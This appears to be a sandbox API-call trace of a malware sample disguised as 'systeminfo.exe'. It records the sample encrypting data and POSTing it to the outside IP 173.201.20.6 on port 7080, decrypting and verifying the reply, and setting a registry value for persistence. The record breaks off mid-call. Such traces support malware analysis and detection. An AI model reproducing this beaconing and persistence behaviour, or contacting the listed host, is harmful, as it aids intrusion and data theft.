[0075.626] GetLastError () returned 0x0 [0076.023] GetTickCount () returned 0x220a9 [0076.023] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0076.023] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0076.023] GetLastError () returned 0x0 [0076.023] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0076.024] Process32FirstW (in: hSnapshot=0x3fc, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.025] lstrlenA (lpString="just string") returned 11 [0076.025] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0076.025] GetLastError () returned 0x0 [0076.025] GetCurrentProcessId () returned 0x81c [0076.039] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0076.039] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0076.039] GetCurrentProcessId () returned 0x81c [0076.039] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0076.040] lstrlenA (lpString="just string") returned 11 [0076.040] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0076.040] CryptGetHashParam (in: hHash=0x3db768, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0076.040] CryptDestroyHash (hHash=0x3db768) returned 1 [0076.040] GetLastError () returned 0x0 [0076.040] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0076.040] GetLastError () returned 0x0 [0076.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0076.040] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0076.040] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0076.040] lstrlenA (lpString="just string") returned 11 [0076.040] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0076.040] GetLastError () returned 0x0 [0076.040] GetCurrentProcess () returned 0xffffffff [0076.040] GetLastError () returned 0x0 [0076.040] wsprintfA (in: param_1=0x2f1fb83, param_2="%X%P" | out: param_1="72560FP") returned 7 [0076.040] SetLastError (dwErrCode=0x0) [0076.040] GetCurrentProcessId () returned 0x81c [0076.040] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0076.041] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.614] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.615] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.616] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.617] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.618] GetLastError () returned 0x0 [0076.619] GetLastError () returned 0x0 [0076.619] GetLastError () returned 0x0 [0076.859] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.859] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.860] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.861] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.862] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.863] GetLastError () returned 0x0 [0076.865] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0076.865] GetCurrentProcessId () returned 0x81c [0076.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0076.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0076.865] GetCurrentProcessId () returned 0x81c [0076.865] GetCurrentProcessId () returned 0x81c [0076.865] lstrlenA (lpString="just string") returned 11 [0076.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0076.865] GetLastError () returned 0x0 [0076.865] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0076.865] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x40cc58, pdwDataLen=0x2f1fcfc | out: pbData=0x40cc58, pdwDataLen=0x2f1fcfc) returned 1 [0076.865] CryptVerifySignatureW (hHash=0x3db628, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0076.865] CryptDestroyHash (hHash=0x3db628) returned 1 [0076.866] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0076.866] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0076.866] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0076.866] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0076.866] RegCloseKey (hKey=0x3fc) returned 0x0 [0076.866] GetLastError () returned 0x0 [0077.175] GetTickCount () returned 0x2252c [0077.175] GetTickCount () returned 0x2252c [0077.175] GetLastError () returned 0x0 [0077.175] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0077.175] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0077.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0077.177] Process32FirstW (in: hSnapshot=0x3fc, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.178] GetLastError () returned 0x0 [0077.192] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0077.192] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0077.192] GetCurrentProcessId () returned 0x81c [0077.192] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0077.192] GetCurrentProcessId () returned 0x81c [0077.192] CryptGetHashParam (in: hHash=0x3db628, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0077.192] CryptDestroyHash (hHash=0x3db628) returned 1 [0077.192] GetCurrentProcessId () returned 0x81c [0077.192] lstrlenA (lpString="just string") returned 11 [0077.192] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0077.192] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0077.192] lstrlenA (lpString="just string") returned 11 [0077.192] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0077.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0077.192] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.192] InternetConnectW 